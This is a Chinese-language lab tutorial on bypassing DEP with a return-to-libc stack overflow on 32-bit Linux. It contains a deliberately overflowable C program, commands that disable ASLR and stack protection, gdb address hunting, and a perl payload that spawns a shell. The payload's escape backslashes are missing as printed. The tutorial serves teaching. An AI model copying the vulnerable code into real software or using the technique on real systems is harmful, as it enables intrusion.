参考:[1] http://blog.csdn.net/linyt/article/details/43643499
[2] http://blog.csdn.net/zhongyunde/article/details/8607401
主要内从是从[1]中抄过来的,修改了测试用例,原始例子我这测试通不过。。。
前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷。
数据执行保护机制
DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性。DEP特性需要硬件页表机制来提供支持。
X86 32位架构页表上没有NX(不可执行)位,只有X86 64位才支持NX位。 所以Window XP和Window 2003在64位CPU直接使用硬件的NX位来实现;而32位系统上则使用软件模拟方式去实现。
Linux在X86 32位CPU没有提供软件的DEP机制,在64位CPU则利用NX位来实现DEP(当前Linux很少将该特性说成DEP)。
DEP就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,进而杀死进程。栈空间也被操作系统设置了不可执行属性,因此注入的Shellcode就无法执行了。
DEP破解方法——ret2libc
“魔高一尺,道高一丈”这句话有时候是否可以反过来说呢? 因为攻和防都是相互发展,如果没有了攻,就没有安全机制的发展。
既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那攻击者能否利用进程空间现有的代码段进行攻击,答案是肯定的。
前面介绍了本地shellcode的编写,它的功能是通过execve执行/bin/sh,那么系统函数库(Linux称为glibc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system来实现Shellcode的功能。EIP一旦改写成system函数地址后,那执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。噢,栈空间完全由我们控制了,所以控制system的函数不是一件难事情。
这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。
构建栈结构 (下图来自参考[2])
首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示:
观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的址,让程序默默地退出。
因此,攻击注入的结构是:
AxN + system_addr + exit_addr + arg
system函数的参数使用什么好呢?Linux里面有个环境变量SHELL,我们只要将这个环境变的地址找出来,就把它传给system。
漏洞代码和编译过程
这里我们还是使用前面介绍 ret2reg攻击方法的例法,但为了避免冲突,将程序命名stack3.c
1 #include <stdio.h> 2 #include <string.h> 3 4 void f() 5 { 6 char buffer[32]; 7 FILE *fp; 8 9 fp = fopen("bad.txt", "r"); 10 if(!fp) { 11 perror("fopen"); 12 return ; 13 } 14 fread(buffer, 1024, 1, fp); 15 printf("data : %s ", buffer); 16 } 17 18 void f2() 19 { 20 f(); 21 } 22 int main(int argc, char **argv) 23 { 24 f2(); 25 return 0; 26 }
编译:
$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32
请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。
同时需要禁用地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
对准EIP,查找system、exit和shell地址
对准EIP方法和前面的完全一样,首先以32个A,追加"BBBB",然后每次增加 4个A,真到生成core,EIP被注入为"BBBB":
$ perl -e 'printf "A"x48 . "BBBB"' > bad.txt ; ./stack3
$ gdb ./stack3 core -q
Reading symbols from /home/ivan/exploit/stack3...done.
[New LWP 4230]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e43920 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e37790 <exit>
从core文件中看到,EIP被注入了BBBB。 system和exit函数地址分别是: 0xf7e43920和0xf7e37790
进程的环境变量在主线程的函数栈内,从ESP开始,查看所有的字符串,直到出现"shell="这样的字符串:
(gdb) x/10000s $esp
...
0xffffd307: "CLUTTER_IM_MODULE=xim"
0xffffd31d: "GPG_AGENT_INFO=/home/rg/.gnupg/S.gpg-agent:0:1"
0xffffd34c: "TERM=xterm-256color"
0xffffd360: "VTE_VERSION=4205"
0xffffd371: "SHELL=/bin/bash"
0xffffd381: "QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1"
0xffffd3a4: "WINDOWID=67108874"
0xffffd3b6: "LC_NUMERIC=zh_CN.UTF-8"
0xffffd3cd: "UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1243"
0xffffd411: "GNOME_KEYRING_CONTROL="
0xffffd428: "GTK_MODULES=gail:atk-bridge:unity-gtk-module"
发现0xffffd371有"SHELL=/bin/bash"环境变化,直接提取字符串:
(gdb) x/s 0xffffd371+6
0xffffd377: "/bin/bash"
ok,system, exit和字符串地址都清楚了,那构造攻击内容为:
"A"x48 + "x20x39xe4xf7" + "x90x77xe3xf7" + "x77xd3xffxff"'
测试
$ perl -e 'printf "A"x48 . "x20x39xe4xf7" . "x90x77xe3xf7" . "x77xd3xffxff"' > bad.txt ; ./stack3
成功打开了一个bash。
最后的测试好坑,在我的测试中,最后程序结束完,bash并没有任何变化,也没有出现报错的情况,我一直以为是没有测试成功。
直到最后我准备关掉term时,才发现,当前的term已经不是之前那个了,ctrl+D推出的是测试时打开的term~
本文内容主要从以下两个博客中学习和抄写而来,结合自己的测试代码:
[1] http://blog.csdn.net/linyt/article/details/43643499
[2] http://blog.csdn.net/zhongyunde/article/details/8607401